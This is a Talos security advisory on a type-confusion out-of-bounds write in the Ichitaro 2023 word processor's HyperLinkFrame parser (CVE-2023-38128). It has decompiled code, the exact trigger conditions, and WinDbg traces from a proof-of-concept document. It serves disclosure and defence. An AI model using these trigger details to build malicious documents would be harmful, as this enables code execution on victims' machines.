Talos Vulnerability Report

TALOS-2023-1809

JustSystems Corporation Ichitaro 2023 HyperLinkFrame parser out-of-bounds write vulnerability

October 19, 2023
CVE Number

CVE-2023-38128

SUMMARY

An out-of-bounds write vulnerability exists in the “HyperLinkFrame” stream parser of Ichitaro 2023 1.0.1.59372. A specially crafted document can cause a type confusion, which can lead to memory corruption and eventually arbitrary code execution. An attacker can provide a malicious file to trigger this vulnerability.

CONFIRMED VULNERABLE VERSIONS

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

Ichitaro 2023 1.0.1.59372
Versions of relevant binaries:

JSTARO26.OCX
File version: 1.0.1.60205

jsvda.dll
File version: 3.3.324.1

jsmisc32.dll
File version: 2.7.1.1

taro33.exe
File version: 1.0.1.59372

PRODUCT URLS

Ichitaro 2023 - https://www.ichitaro.com/

CVSSv3 SCORE

7.8 - CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

CWE

CWE-843 - Access of Resource Using Incompatible Type (‘Type Confusion’)

DETAILS

Ichitaro is a word processor produced by JustSystems, which showcases the ATOK input method system and occupies a large share of the Japanese word-processing market. The Ichitaro word processor supports compatibility with many document formats and provides a broad set of features, allowing it to remain competitive with other available word processors.

Ichitaro is a word processor produced by JustSystems, which showcases the ATOK input method system and occupies a large share of the Japanese word-processing market. The Ichitaro word processor supports compatibility with many document formats and provides a broad set of features, allowing it to remain competitive with other available word processors.

Other than the typical document and spreadsheet formats that are provided by the Microsoft Office suite, Ichitaro also supports its native document format, which uses the file extension .JTD. This file format is based on Microsoft’s Structured Storage format that was developed as part of Microsoft’s Component Object Model (COM).

Similar to most document types that utilize this format, the structure of the entire .JTD document is stored within the streams that compose the Structured Storage file format. Thus, to access them, the application will use Microsoft’s Structured Storage API as exposed via COM. When the user opens a document with the application, the “JSTARO26.OCX” library is used to perform the actual loading of the contents of the document. This library will receive information about which document type was opened and then construct the necessary objects to retain the information being parsed out of the file. After a document of the type inherent to this vulnerability is opened, the following method at address 0x3bd1cc26 is executed. This method is an entry point to the parsing of the various compound document streams that compose the file format of the document. Once the method has finished processing streams such as “Font”, “ImageData”, “ItemizationData”, etc., the method at [1] will be called to perform the parsing required for the contents of the “Frame” stream.

void __thiscall object_9d50e8::checkAndProcessStreams_29cc26(object_9d50e8 *this)
{
  // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]

  constructor_7106fb(&lv_struc_34);
  v63 = 0;
  lp_oframe_18 = 0;
  p_oframe_60 = this->v_data_68.p_oframe_60;
...
  lv_bool_4c = this->v_data_68.v_field_98 == 2;
  lv_bool_54 = (this->v_data_68.var_24 & 8) == 0;
  lv_bool_58 = this->v_data_68.field_6c == 2;
  lv_field_5c = this->v_data_68.v_field_68;
  lv_decodeSize?_60 = this->v_data_68.v_decodeSize?_b4;
  lv_field_64 = this->v_data_68.v_field_98;
  lp_oframe_68 = this->v_data_68.p_oframe_60;
  p_field_1c = object_9d50e8::fieldOnDemand(1c)_7b161a(this);
  if ( !object_10c89c::processFramesAndStuff_869d0f(                    // [1] process "Frame" stream
          p_field_1c,
          lp_oframe_68,
          lv_field_64,
          lv_decodeSize?_60,
          lv_field_5c,
          lv_bool_58,
          lv_bool_54,
          &lv_field_14,
          lv_bool_4c,
          &lv_struc_34) )
  {
LABEL_30:
    v9 = lv_field_14;
    goto LABEL_90;
  }

The following method at address 0x3c2e9d0f is used to process the “Frame” stream. The objects from this stream can require the parsing of related streams, which can influence the way the objects from the “Frame” are used. At [2], the method will call a function that will attempt to decode the contents of 3 streams used to provide hints for the “Frame” stream. As the proof-of-concept included with this document does not contain any hints, the method call at [3] will be executed instead. This called method will pre-process the “Frame” stream to count the number of elements it contains, followed by the method call at [4], which will process the details of the “Frame” stream and the contents of the streams it may depend on.

int __thiscall object_10c89c::processFramesAndStuff_869d0f(
        object_10c89c *this,
        JSVDA::object_OFRM *ap_oframe_0,
        int av_4,
        int av_decodeSize?_8,
        int av_field_c,
        int av_bool_10,
        int av_bool_14,
        int *ap_result_18,
        int av_bool_1c,
        struc_76106fb *ap_struc_20)
{
  // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]

  v11 = 1;
  object_10c89c::obArrayMaskItems_777d54(this, 1);
  this->v_figureTypeField_0 = av_bool_10;
  obArray_1ba0eb::constructor_1ba0eb(&lv_obArrayObject_38);
  v18 = 0;
  if ( !obArray_1ba0eb::processHintStreams?_1ba115(&lv_obArrayObject_38, ap_oframe_0) )     // [2] decode frame hints from streams
  {
    struc_2137af::constructor_2137af(&lv_frameStruc_20);
    LOBYTE(v18) = 1;
    struc_2137af::processStream(Frame)_213803(&lv_frameStruc_20, ap_oframe_0);              // [3] decode contents of "Frame" stream
...
  }
  ItemByField_213547 = obArray_1ba0eb::getItemByField_213547(&lv_obArrayObject_38);
  if ( checkFrameHint?_33b9eb(ItemByField_213547, av_4) )
  {
LABEL_13:
    this->v_decodeSize_1c = av_decodeSize?_8;
    this->field_58 = av_field_c;
    v11 = object_10c89c::processStream(FrameNames,Figures)_869e52(                          // [4] process all of the streams related to "Frame"
            this,
            ap_oframe_0,
            av_bool_10,
            av_bool_14,
            av_bool_1c,
            ap_struc_20);
...
  }
...
}

The following method is at address 0x3c2e9e52 and is used by the application to process each of the elements within the “Frame” stream. Depending on the type of object decoded from the stream, the library can access other streams and use the information therein to construct an object that will be referenced later in the function. With regards to the vulnerability, this function will be returned to throughout this document. At [5] the method will construct an object that is responsible for tracking all of the streams needed to process the “Frame” stream. Immediately following the construction of this object, the method call at [6] will initialize the constructed object and assign individual objects for the “Frame”, “LayoutBox”, “Figure”, “FrameName”, etc. streams as required by the document. Afterwards, the called method will read the header for each of the streams and return. Eventually the method at [7] will be called to decode the “Frame” stream and its individual elements.

int __thiscall object_10c89c::processStream(FrameNames,Figures)_869e52(
        object_10c89c *this,
        JSVDA::object_OFRM *ap_oframe_0,
        int av_bool_4,
        int av_bool_8,
        int av_bool_c,
        struc_76106fb *ap_struc_10)
{
  // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]

  v12 = this;
  v14 = 0;
  object_10c89c::create_elements(CJelFrameInfo)_777d87(this);
  this->v_figureTypeField_0 = av_bool_4;
  object_1b419a::constructor_1b419a(&lv_object_fc, this->p_owner_38, ap_oframe_0, 1);   // [5] object containing handles to necessary streams
  LOBYTE(v14) = 1;
  object_1b419a::openAllStreams_1b9d27(&lv_object_fc);                                  // [6] open up the necessary streams, reading their header. 
  object_10c89c::decodeStream(Frame)_777c23(this, &lv_object_fc);                       // [7] decode the "Frame" stream
...
  if ( !av_bool_4
    || object_10c89c::process(FrameName)_777770(this, &lv_object_fc)
    && object_10c89c::process(HyperLinkFrame,TableServerData)_8698d0(
         this,
         &lv_object_fc,
         ap_oframe_0,
         av_bool_8,
         av_bool_c,
         ap_struc_10) )
  {
    v_length_4 = this->v_obArray(Frame)_64.v_data_4.v_length_4;
    for ( i = 0; ; ++i )
    {
      v13 = i;
      if ( i >= v_length_4 )
        break;
      v10 = this->v_obArray(Frame)_64.v_data_4.p_items_0[i];
      if ( v10 && (v10->v_data_4.v_flag_b8 & 1) != 0 && !(*(v10->p_vtable_0 + 0x134))(v10, &lv_object_fc) )
        goto LABEL_14;
    }
...

The following method, located at address 0x3c1f7c23, will decode the contents of the entire “Frame” stream. Earlier, when the calling method opened each stream by name, is when the header for the stream is initially read. The stream header for the “Frame” stream is then followed by a variable number of “block” types. These block types include a header that contains a 16-bit type followed by a 16-bit length. This length is then used to determine how much data is stored within that block. At [8], the method will fetch an object used for accessing the contents of the “Frame” stream. Afterwards at [9], a block will be read from the stream using the aforementioned object. This block contains a single uint32_t and is used to retain a count of the number of blocks that follow it. This number of blocks is then used by the loop at [10] to decode blocks from the stream into an object that will get appended to an array stored within the method’s object.

void __thiscall object_10c89c::decodeStream(Frame)_777c23(object_10c89c *this, object_1b419a *ap_object_0)
{
  // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]

  p_this = this;
  lp_this_10 = this;
  p_stream_0 = object_1b419a::getStream(Frame)_1b4370(ap_object_0);                                 // [8] get object for reading "Frame" stream
  if ( p_stream_0 )
  {
    obArray_1ba0eb::constructor_1ba0eb(&lv_obArray_34);
    v3 = 0;
    v15 = 0;
    obArray_1ba0eb::processHintStreams?_1ba115(&lv_obArray_34, ap_object_0->p_oframe_8c);   // process hint streams
    v_count_777bcc = object_OSEG::readBlock_u32_777bcc(p_stream_0);                                 // [9] read uint32_t from block following header
    lv_count_1c = v_count_777bcc;
    ap_object_0->v_framecount_d8 = v_count_777bcc;
    if ( v_count_777bcc > 0 )
    {
      do
      {
        p_baseobject_777b3f = object_10c89c::decode_vobject(Frame)_777b3f(p_this, p_stream_0);      // [10] decode current block from stream
        p_baseobject_777b3f->v_data_4.v_flag_b8 |= 1u;
        v_index_a8 = p_baseobject_777b3f->v_data_4.v_index_a8;
        if ( object_1b419a::property_keyOrIndex?_1ba3e3(ap_object_0) )
        {
          appended = object_10c89c::append_vobject_7a33b0(lp_this_10, p_baseobject_777b3f);         // [10] append object to an array
          v12 = appended;
          if ( appended == -1 )
            JSFC::CxxThrowException(CMemoryException)_1a64f();
          p_baseobject_777b3f->v_data_4.v_index_ac = v_index_a8;                                    // [10] update append index of new object
          baseobject_9eafa8::setIndex_1ba2a4(p_baseobject_777b3f, appended);                        // [10] assign frame index into new object
...
        }
...
        ++v3;
      }
      while ( v3 < lv_count_1c );
    }
    v15 = -1;
    obArray_1ba0eb::destructor_1ba72c(&lv_obArray_34);
  }
}

The following method used for decoding an individual block from the “Frame” stream is located at address 0x3c1f7b3f. After the block’s header is read at [11], the contents of the each block within the stream will be decoded by the method. After the header of the decoded block, the structure contained therein is a 32-bit index, followed by a 16-bit type that is decoded at [12]. Once the type has been determined, it will then be used to construct an object using the method at [13]. This logic is performed for every block that is decoded from the stream.

baseobject_9eafa8 *__thiscall object_10c89c::decode_vobject(Frame)_777b3f(
        object_10c89c *this,
        JSVDA::object_OSEG *ap_oseg_0)
{
  // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]

  struc_1b448c::constructor_1b448c(&lv_struc_2c, 0);
  v9 = 0;
  if ( !struc_1b448c::readblock_1ba030(&lv_struc_2c, ap_oseg_0, lvw_type_10) )          // [11] read the block header
    JSFC::CxxThrowException(CMemoryException)_1a64f();
  struc_1b448c::decode_u32_1ba288(&lv_struc_2c, &lv_index_18);                          // [12] decode 32-bit index
  struc_1b448c::decode_ushort_1ba0c9(&lv_struc_2c, &lv_case_14);                        // [12] decode 16-bit type
  p_frameObject_14 = object_10c89c::create_vobject(Frame)_7779f9(this, lv_case_14);     // [13] \ construct object based on type
  (*(p_frameObject_14->p_vtable_0 + 0x64))(p_frameObject_14, lv_case_14);
  baseobject_9eafa8::setIndex_1ba2a4(p_frameObject_14, lv_index_18);
  baseobject_9eafa8::decode_item(Frame)_1ba2b4(p_frameObject_14, &lv_struc_2c);
  struc_1b448c::destructor_1b4579(&lv_struc_2c);
  return p_frameObject_14;
}
\
baseobject_9eafa8 *__thiscall object_10c89c::create_vobject(Frame)_7779f9(object_10c89c *this, int av_case_0)
{
  // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]

  switch ( av_case_0 )
  {
    case 1:
      v10 = JSFC::malloc_181e(sizeof(vobject_9eabf8));          // [13] allocate 0x650 bytes for object
      if ( v10 )
      {
        v5 = vobject_9eabf8::constructor_1ba3f1(v10, this);     // [13] construct object with vftable 0x3c46abf8.
        goto LABEL_20;
      }
      break;
...
    case 3:
      v8 = JSFC::malloc_181e(sizeof(vobject_9eb7d4));           // [13] allocate 0x754 bytes for object
      if ( v8 )
      {
        v5 = vobject_9eb7d4::constructor_2129e6(v8, this);      // [13] construct object with vftable 0x3c46b7d4.
        goto LABEL_20;
      }
      break;
    case 4:
      v7 = JSFC::malloc_181e(sizeof(vobject_9eb654));           // [13] allocate space (0xe0) for object
      if ( v7 )
      {
        v5 = vobject_9eb654::constructor_1aaa8e(v7, this);      // [13] construct object with vftable 0x3c46b654
        goto LABEL_20;
      }
      break;
...
    default:
      return 0;
  }
  v3 = 0;
LABEL_22:
  if ( v3 )
    (*(v3->p_vtable_0 + 100))(v3, av_case_0);
  return v3;
}

After the object is constructed using the 16-bit type from the stream, the method responsible for decoding the “Frame” object will be returned to. At [14], the method will proceed to decode a block from the “Frame” stream into the object that was just constructed using the 16-bit type. At the beginning of the block is a 32-bit key, which is used by other stream parsers within the application to identify the decoded “Frame” object. This key and a 16-bit unsigned integer will then be decoded at [15]. Afterwards at [16] and [17], the method will proceed to decode the entirety of the “Frame” block and store it within its object. At [18], a 32-bit integer containing flags for the “Frame” object is decoded and stored within its object. These flags are later used by the application when processing the objects within the “HyperLinkFrame” stream. Specifically for this vulnerability, the 6th bit (0x40) needs to be set on the matching “Frame” object in order to trigger it.

baseobject_9eafa8 *__thiscall object_10c89c::decode_vobject(Frame)_777b3f(
        object_10c89c *this,
        JSVDA::object_OSEG *ap_oseg_0)
{
  // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]

  struc_1b448c::constructor_1b448c(&lv_struc_2c, 0);
  v9 = 0;
  if ( !struc_1b448c::readblock_1ba030(&lv_struc_2c, ap_oseg_0, lvw_type_10) )
    JSFC::CxxThrowException(CMemoryException)_1a64f();
  struc_1b448c::decode_u32_1ba288(&lv_struc_2c, &lv_index_18);
  struc_1b448c::decode_ushort_1ba0c9(&lv_struc_2c, &lv_case_14);
  p_frameObject_14 = object_10c89c::create_vobject(Frame)_7779f9(this, lv_case_14);                                 // construct object using 16-bit type
  (*(p_frameObject_14->p_vtable_0 + 0x64))(p_frameObject_14, lv_case_14);
  baseobject_9eafa8::setIndex_1ba2a4(p_frameObject_14, lv_index_18);
  baseobject_9eafa8::decode_item(Frame)_1ba2b4(p_frameObject_14, &lv_struc_2c);                                     // [14] \ decode contents of element
  struc_1b448c::destructor_1b4579(&lv_struc_2c);
  return p_frameObject_14;
}
\
int __thiscall baseobject_9eafa8::decode_item(Frame)_1ba2b4(baseobject_9eafa8 *this, struc_1b448c *ap_decoder_0)
{
  int v_decodeSize_1c; // edi
  object_10c89c *p_owner_14; // eax
  object_10c89c *v5; // eax

  struc_1b448c::decode_u32_1ba288(ap_decoder_0, &this->v_data_4.v_frameKey_9c);                                     // [15] decode a key used to identify the frame object
  struc_1b448c::decode_ushort_1ba0c9(ap_decoder_0, &this->v_data_4.vw_uint16_a0);                                   // [15] decode uint16_t
...
  v5 = this->v_data_4.p_owner_14;
  if ( !v5 || v5->v_figureTypeField_0 )
    return baseobject_9eafa8::field_20::decode_1ba31e(&this->v_data_4.v_field_20, ap_decoder_0, v_decodeSize_1c);   // [16] decode the rest of the block
  else
    return baseobject_9eafa8::field_20::decode_214b67(&this->v_data_4.v_field_20, ap_decoder_0, v_decodeSize_1c);   // [16] decode the rest of the block
}
\
int __thiscall baseobject_9eafa8::field_20::decode_1ba31e(
        baseobject_9eafa8::field_20 *this,
        struc_1b448c *ap_decoder_0,
        int av_size_4)
{
  struc_1b448c *v3; // edi
  int result; // eax

  v3 = ap_decoder_0;
  struc_1b448c::decode_ushort_1ba0c9(ap_decoder_0, this);                                                           // [17] decode 16-bits
...
  struc_1b448c::decode_u32_1ba288(v3, &this->v_bitflags_70);                                                        // [18] decode 32-bits containing flags about the object
  struc_1b448c::decode_u32_1ba288(v3, &this->field_74);                                                             // [17] decode 32-bits
...
  return result;
}

Once all the decoded objects have been allocated, constructed and assigned into an array, the method at the address 0x3c2e9e52 will be returned to at [18]. The object types decoded from the “Frame” stream will then be referenced by any of the following methods using either their index in the stream that was decoded, or a 32-bit key that was found at the beginning of each “Frame” object within the stream. After an object has been created to contain the array retaining each of the decoded objects, said object will be used as a parameter for the method call at [19] to process any streams that may require the “Frame” objects.

int __thiscall object_10c89c::processStream(FrameNames,Figures)_869e52(
        object_10c89c *this,
        JSVDA::object_OFRM *ap_oframe_0,
        int av_bool_4,
        int av_bool_8,
        int av_bool_c,
        struc_76106fb *ap_struc_10)
{
...
  object_10c89c::decodeStream(Frame)_777c23(this, &lv_object_fc);       // [18] decoded "Frame" elements
  if ( !lv_object_fc.v_framecount_d8 )
  {
    LOBYTE(v14) = 0;
    object_1b419a::destructors?_1b56fa(&lv_object_fc);
    return 1;
  }
  if ( !av_bool_4
    || object_10c89c::process(FrameName)_777770(this, &lv_object_fc)
    && object_10c89c::process(HyperLinkFrame,TableServerData)_8698d0(   // [19] process "HyperLinkFrame" stream
         this,
         &lv_object_fc,
         ap_oframe_0,
         av_bool_8,
         av_bool_c,
         ap_struc_10) )
  {
...
  }
  LOBYTE(v14) = 0;
LABEL_7:
  object_1b419a::destructors?_1b56fa(&lv_object_fc);
  v14 = -1;
  object_10c89c::method_obArrayDoSomething?_535872(this);
  return 0;
}

The following method is responsible for parsing the contents of either the “HyperLinkFrame” or “TableServerData” stream depending on a boolean specified as a parameter. At the beginning of this method at [20], an object is constructed and then initialized with each of the “Frame” objects that were previously parsed. This is because the contents of the “HyperLinkFrame” stream depend directly upon the types of the decoded “Frame” objects as well as a bit-field that is also contained. After the “Frame” objects index is constructed, the method will enter a loop that will read the contents of the “HyperLinkFrame” stream. Similar to the contents of the “Frame” stream, each encoded object is prefixed with at 16-bit type and a 16-bit length. The 16-bit type is used to indicate the specific “HyperLinkFrame” object that is encoded and used to terminate the loop when the decoded type is 0xFFFF. Both the decoding of each block and checking for termination can be found at [21]. This vulnerability occurs when a “HyperLinkFrame” object of type 0x0807 is decoded at [22].

int __thiscall object_10c89c::process(HyperLinkFrame,TableServerData)_8698d0(
        object_10c89c *this,
        object_1b419a *ap_object_0,
        JSVDA::object_OFRM *ap_oframe_4,
        int av_bool_8,
        int av_boolean_c,
        struc_76106fb *ap_struc_10)
{
  // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]

  Stream(HyperLinkFrame)_1b4798 = object_1b419a::getStream(HyperLinkFrame)_1b4798(ap_object_0);
  lp_stream(HyperLinkFrame)_20 = Stream(HyperLinkFrame)_1b4798;
  if ( !Stream(HyperLinkFrame)_1b4798 )
    return 1;
  v23 = 0;
  lp_oseg_18 = 0;
  ap_frameTableContainer_c = 0;
  Block = 0;
  v_boolean(d4)_9 = object_1b419a::property_keyOrIndex?_1ba3e3(ap_object_0);
  struc_1b448c::constructor_1b448c(&lv_decoder_3c, 0);
  v25 = 0;
  struc_8307b0::constructor_8307b0(&lv_frameObjects_54);                                                            // [20] construct object for referencing frame objects
  LOBYTE(v25) = 2;
  if ( !v_boolean(d4)_9 )
    goto LABEL_38;
  if ( object_10c89c::collectIndicesFromFrameObjects_77675e(this, &lv_frameObjects_54) )                            // [20] collect all the indexes of each frame object
  {
    if ( !av_bool_8 || object_OFRM::openStreamByName?_132de4(ap_oframe_4, "TableServerData", 16, &lp_oseg_18) )
    {
LABEL_38:
      while ( struc_1b448c::readblock_1ba030(&lv_decoder_3c, Stream(HyperLinkFrame)_1b4798, &lvw_blockType_10) )    // [21] read block from stream
      {
        if ( lvw_blockType_10 == 0xFFFF )                                                                           // [21] terminate reading blocks if type is 0xffff
        {
          v13 = 1;
          goto LABEL_40;
        }
        switch ( lvw_blockType_10 )
        {
          case 0x801u:
            v12 = object_10c89c::method_HyperLinkFrame(801)_535c33(
                    this,
                    &lv_decoder_3c,
                    &lv_frameObjects_54,
                    v_boolean(d4)_9);
            break;
...
          case 0x807u:
            v12 = object_10c89c::method_HyperLinkFrame(807)_535fa0(                                                 // [22] call method to decode block type 0x0807
                    this,
                    &lv_decoder_3c,
                    &lv_frameObjects_54,
                    v_boolean(d4)_9,
                    av_boolean_c);
            break;
...
        }
        if ( !v12 )
          break;
      }
    }
...
  return v13;
}

When parsing a “HyperLinkFrame” block of type 0x0807, the following method will be used to decode its contents. At [23], the method will first decode an unsigned 32-bit integer from the block. This integer contains the array index of the “Frame” object that the “HyperLinkFrame” object is referring to and is used to fetch a pointer to the “Frame” object at [24]. Before continuing to actually decode the “HyperLinkFrame” block, the method will check if the 6th bit (0x40) of the associated “Frame” object is set at [25]. If this bit is set, the method call at [26] will be used to assign a boolean within the fetched “Frame” object. It is prudent to note that the application assumes the “Frame” object that was referenced will always inherit from the same base class. This condition is the type confusion that is described by this advisory.

int __thiscall object_10c89c::method_HyperLinkFrame(807)_535fa0(
        object_10c89c *this,
        struc_1b448c *ap_decoder_0,
        struc_8307b0 *ap_frameObjects_4,
        int av_indexbykey_8,
        int av_boolean_c)
{
  int IndexByKey?_809655; // eax
  void **p_items_0; // ecx
  baseobject_9eafa8 *v8; // esi
  int v10; // [esp+4h] [ebp-4h] BYREF

  struc_1b448c::decode_u32_1ba288(ap_decoder_0, &v10);                                  // [23] decode an index for the relevant frame object
  if ( av_indexbykey_8 )
  {
    IndexByKey?_809655 = struc_8307b0::getIndexByKey?_809655(ap_frameObjects_4, v10);   // [23] convert the index from the stream to an array index
    v10 = IndexByKey?_809655;
  }
  else
  {
    IndexByKey?_809655 = v10;                                                           // [23] use the decoded index as an array index
  }
  if ( object_10c89c::obArrayCheckItem_1aa72c(this, IndexByKey?_809655) )
  {
    p_items_0 = this->v_obArray(Frame)_64.v_data_4.p_items_0;                           // [24] fetch the relevant frame object
    v8 = p_items_0[v10];
    if ( v8 )
    {
      if ( (*(v8->p_vtable_0 + 0xC8))(p_items_0[v10], 64) )                             // [25] check 6th bit in field from frame object
        vobject_9eb128::setSomeFieldAndBit_210033(v8, av_boolean_c != 0, 0);            // [26] call method to assign boolean to frame object
    }
  }
  return 1;
}

The following non-virtual method will then be used by the application to assign a boolean into the “Frame” object referenced by the “HyperLinkFrame” block. This method will always write 32-bits to offset 0x754 of “Frame” object that was constructed earlier whilst disregarding its type. As some of the “Frame” objects that may be constructed are smaller than this offset, this assignment can write outside the bounds of the “Frame” object and cause memory corruption. In certain situations, this can lead to code execution within the context of the application. The types of “Frame” objects that may be used to trigger this condition are of type 0x0001 with the size being 0x650 bytes, type 0x0003 with the size being exactly 0x754 bytes, and type 0x0004 with the size being 0xe0 bytes. Thus, linking a “HyperLinkFrame” object of type 0x0807 with the index of a “Frame” object of either of these types will result in triggering this vulnerability.

int __thiscall vobject_9eb128::setSomeFieldAndBit_210033(vobject_9eb128 *this, int av_boolean_0, int a_boolean_4)
{
  int p_vtable_0; // edx

  if ( a_boolean_4 )
    (*(this->p_vtable_0 + 0x13C))(this, 0x8D);
  p_vtable_0 = this->p_vtable_0;
  this->v_data_5c0.v_field_194 = av_boolean_0;                  // [27] assign boolean from parameter to +0x754
  (*(p_vtable_0 + 0xC4))(this, 64, av_boolean_0);
  return baseobject_9eafa8::call_ownermethod_21a262(this);
}

Crash Information

The following WinDbg breakpoints will emit information about how the objects in the “Frame” stream are constructed.

bp JSTARO26.OCX+535fa0 ".printf\"(%p) int object_10c89c::method_HyperLinkFrame(807)_535fa0(object_10c89c* this=%p, struc_1b448c* ap_decoder_0=%p, struc_8307b0* ap_frameObjects_4=%p, int av_indexbykey_8=%p, int av_boolean_c=%p)\\n\",poi(@esp),@ecx,poi(@esp+4),poi(@esp+8),poi(@esp+c),poi(@esp+10);gc"
bp JSTARO26.OCX+7779f9 ".printf\"(%p) baseobject_9eafa8* object_10c89c::create_vobject(Frame)_7779f9(object_10c89c* this=%p, int av_case_0=%p)\\n\",poi(@esp),@ecx,poi(@esp+4);gc"
bp JSTARO26.OCX+777a9c ".printf\"(%p) void* JSFC::malloc_181e(size_t=%p)\\n\",@eip,poi(@esp+0); gc"
bp JSTARO26.OCX+777ab3 ".printf\"(%p) vobject_9eb654* vobject_9eb654::constructor_1aaa8e(vobject_9eb654* this=%p, object_10c89c* ap_object_0=%p)\\n\",@eip,@ecx,poi(@esp+0);gc"
bp JSTARO26.OCX+777abf ".printf\"(%p) void* JSFC::malloc_181e(size_t=%p)\\n\",@eip,poi(@esp+0); gc"
bp JSTARO26.OCX+777ad6 ".printf\"(%p) vobject_9eb7d4* vobject_9eb7d4::constructor_2129e6(vobject_9eb7d4* this=%p, object_10c89c*=%p)\\n\",@eip,@ecx,poi(@esp+0); gc"
bp JSTARO26.OCX+777b03 ".printf\"(%p) void* JSFC::malloc_181e(size_t=%p)\\n\",@eip,poi(@esp+0); gc"
bp JSTARO26.OCX+777b1a ".printf\"(%p) vobject_9eabf8* vobject_9eabf8::constructor_1ba3f1(vobject_9eabf8* this=%p, object_10c89c*=%p)\\n\",poi(@esp),@ecx,poi(@esp+0); gc"
bp JSTARO26.OCX+777b86 "r@$t0=poi(@esp); .push /r /q; gc"
bp JSTARO26.OCX+777b90 ".pop /r /q; .printf \"lvw_case_14: %#x\\n\", wo(@$t0); gc"
bp JSTARO26.OCX+777b95 ".printf \"baseobject_9eafa8: %p -> %p (+%#x)\\n\\n\", @eax, poi(@eax), poi(@eax) - jstaro26; gc"
bp JSTARO26.OCX+777c71 ".printf \"Reading %#x frames from stream..\\n\", @eax; gc"

After assigning the breakpoints, running the following command will allow the application to resume execution.

0:000> g JSTARO26.OCX+535fde

When the application is running, opening up the provided proof-of-concept will result in the following logs being emitted in the debugger.

Reading 0xd frames from stream...

lvw_case_14: 0x2
(54257b95) baseobject_9eafa8* object_10c89c::create_vobject(Frame)_7779f9(object_10c89c* this=0cce1f38, int av_case_0=00000002)
baseobject_9eafa8: 0ce20890 -> 544cb128 (+0x9eb128)

lvw_case_14: 0x6
(54257b95) baseobject_9eafa8* object_10c89c::create_vobject(Frame)_7779f9(object_10c89c* this=0cce1f38, int av_case_0=5f800006)
baseobject_9eafa8: 0ce24810 -> 544cb954 (+0x9eb954)

lvw_case_14: 0x3
(54257b95) baseobject_9eafa8* object_10c89c::create_vobject(Frame)_7779f9(object_10c89c* this=0cce1f38, int av_case_0=5f800003)
(54257abf) void* JSFC::malloc_181e(size_t=00000754)
(54257ad6) vobject_9eb7d4* vobject_9eb7d4::constructor_2129e6(vobject_9eb7d4* this=1328a8a8, object_10c89c*=0cce1f38)
baseobject_9eafa8: 1328a8a8 -> 544cb7d4 (+0x9eb7d4)

The fourth item in the stream (index 3) contains the object used by the proof-of-concept. In this case, the size used to allocate space for the object is 0xe0 bytes, and the object has been allocated at address 0x157e4f20. This object is using the virtual function table at offset +0x9eb654 of the binary.

lvw_case_14: 0x4
(54257b95) baseobject_9eafa8* object_10c89c::create_vobject(Frame)_7779f9(object_10c89c* this=0cce1f38, int av_case_0=5f800004)
(54257a9c) void* JSFC::malloc_181e(size_t=000000e0)
(54257ab3) vobject_9eb654* vobject_9eb654::constructor_1aaa8e(vobject_9eb654* this=157e4f20, object_10c89c* ap_object_0=0cce1f38)
baseobject_9eafa8: 157e4f20 -> 544cb654 (+0x9eb654)

After the debugger has finished emitting all the information from the objects parsed out of the “Frame” stream, the debugger will break at the following instruction. This instruction is fetching the frame object at index 3 of an array, which correlates to the object identified while the “Frame” stream was being parsed. This object is at address 0x157e4f20 and uses the virtual function table at offset +0x9eb654 of the binary.

eax=00000003 ebx=0b3b4938 ecx=25cbafc8 edx=00000003 esi=0cce1f38 edi=00000000
eip=54015fde esp=00e29714 ebp=00e2971c iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200202
JSTARO26!DllUnregisterServer+0xff5a7:
54015fde 8b3481          mov     esi,dword ptr [ecx+eax*4] ds:0023:25cbafd4=157e4f20

0:000> dc poi(@ecx+@eax*4) L4
157e4f20  544cb654 00000000 00000000 00000000  T.LT............

0:000> ? @$p-jstaro26
Evaluate expression: 10401364 = 009eb654

If we continue execution until offset +0x535feb of the JSTARO26.OCX library, we will stop at the following instruction. This call instruction represents the method used to check a flag (0x40) within the frame object.

0:000> g JSTARO26.OCX+535feb
...

eax=544cb654 ebx=0b3b4938 ecx=157e4f20 edx=00000003 esi=157e4f20 edi=00000000
eip=54015feb esp=00e29710 ebp=00e2971c iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200202
JSTARO26!DllUnregisterServer+0xff5b4:
54015feb ff90c8000000    call    dword ptr [eax+0C8h] ds:0023:544cb71c=53c8bd0c

0:000> ub @eip+6 L4
JSTARO26!DllUnregisterServer+0xff5ae:
54015fe5 8b06            mov     eax,dword ptr [esi]
54015fe7 8bce            mov     ecx,esi
54015fe9 6a40            push    40h
54015feb ff90c8000000    call    dword ptr [eax+0C8h]

The flag is located at offset +0x94 of the object. Examining the integer at offset +0x94 of the object shows that its 6th bit is set.

0:000> uf poi(@eax+c8)
JSTARO26!DRFL_SaveFD3A+0x6ebed:
53c8bd0c 55              push    ebp
53c8bd0d 8bec            mov     ebp,esp
53c8bd0f 8b8194000000    mov     eax,dword ptr [ecx+94h]
53c8bd15 234508          and     eax,dword ptr [ebp+8]
53c8bd18 f7d8            neg     eax
53c8bd1a 1bc0            sbb     eax,eax
53c8bd1c f7d8            neg     eax
53c8bd1e 5d              pop     ebp
53c8bd1f c20400          ret     4

0:000> ? poi(@ecx+94)
Evaluate expression: 64 = 00000040

If we continue execution to offset 0x210056 of the binary, we will encounter the following instruction. This instruction will write a boolean in the %eax register to offset +0x754 of the object in %esi. The object referenced by the %esi register is the same one that was previously allocated at address 0x157e4f20 using the virtual method table at offset +0x9eb654 of the binary.

0:000> g JSTARO26.OCX+210056 
...
eax=00000001 ebx=0b3b4938 ecx=157e4f20 edx=544cb654 esi=157e4f20 edi=00000000
